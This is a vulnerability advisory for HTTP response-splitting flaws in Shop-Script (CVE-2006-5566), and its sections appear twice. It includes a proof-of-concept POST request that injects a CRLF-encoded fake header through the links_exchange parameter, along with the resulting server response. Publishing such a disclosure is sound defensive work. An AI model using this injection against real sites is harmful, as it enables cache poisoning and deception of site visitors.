Shop-Script Multiple HTTP Response Splitting Vulnerabilities
BID:20685
Info
Shop-Script Multiple HTTP Response Splitting Vulnerabilities
| Bugtraq ID: | 20685 |
| Class: | Input Validation Error |
| CVE: |
CVE-2006-5566 |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 23 2006 12:00AM |
| Updated: | Jul 06 2016 02:09PM |
| Credit: | Debasis Mohanty is credited with the discovery of this vulnerability. |
| Vulnerable: |
Shop-Script Shop-Script 0 |
| Not Vulnerable: | |
Discussion
Shop-Script Multiple HTTP Response Splitting Vulnerabilities
Shop-Script is prone to multiple HTTP response-splitting vulnerabilities because the application fails to properly sanitize user-supplied input.
A remote attacker may exploit this vulnerability to influence or misrepresent how web content is served, cached, or interpreted. This could aid in various attacks that attempt to entice client users into a false sense of trust.
Shop-Script is prone to multiple HTTP response-splitting vulnerabilities because the application fails to properly sanitize user-supplied input.
A remote attacker may exploit this vulnerability to influence or misrepresent how web content is served, cached, or interpreted. This could aid in various attacks that attempt to entice client users into a false sense of trust.
Exploit / POC
Shop-Script Multiple HTTP Response Splitting Vulnerabilities
An exploit is not required.
The following proof of concept has been provided:
[Request Header]
POST /premium/index.php?links_exchange=%0d%0aFakeHeader:Fake_Custom_Header
HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET
CLR 1.1.4322)
Host: http://www.shop-script-demo.com/
Content-Length: 18
Cookie: PHPSESSID=e0d1c748db4ce6fa7886403e65458aaa
Connection: Close
Pragma: no-cache
current_currency=1
[Response Header]
HTTP/1.1 302 Found
Date: Mon, 16 Oct 2006 17:39:57 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
Location: index.php?links_exchange=
FakeHeader:Fake_Custom_Header <= [Custome response
injected by the attacker]
Content-Length: 0
Connection: close
Content-Type: text/html
An exploit is not required.
The following proof of concept has been provided:
[Request Header]
POST /premium/index.php?links_exchange=%0d%0aFakeHeader:Fake_Custom_Header
HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET
CLR 1.1.4322)
Host: http://www.shop-script-demo.com/
Content-Length: 18
Cookie: PHPSESSID=e0d1c748db4ce6fa7886403e65458aaa
Connection: Close
Pragma: no-cache
current_currency=1
[Response Header]
HTTP/1.1 302 Found
Date: Mon, 16 Oct 2006 17:39:57 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
Location: index.php?links_exchange=
FakeHeader:Fake_Custom_Header <= [Custome response
injected by the attacker]
Content-Length: 0
Connection: close
Content-Type: text/html
Solution / Fix
Shop-Script Multiple HTTP Response Splitting Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Shop-Script Multiple HTTP Response Splitting Vulnerabilities
References:
References:
- Shop-Script Homepage (Russian) (Shop-Script)
- Multiple HTTP response splitting vulnerabilities in SHOP-SCRIPT (Debasis Mohanty)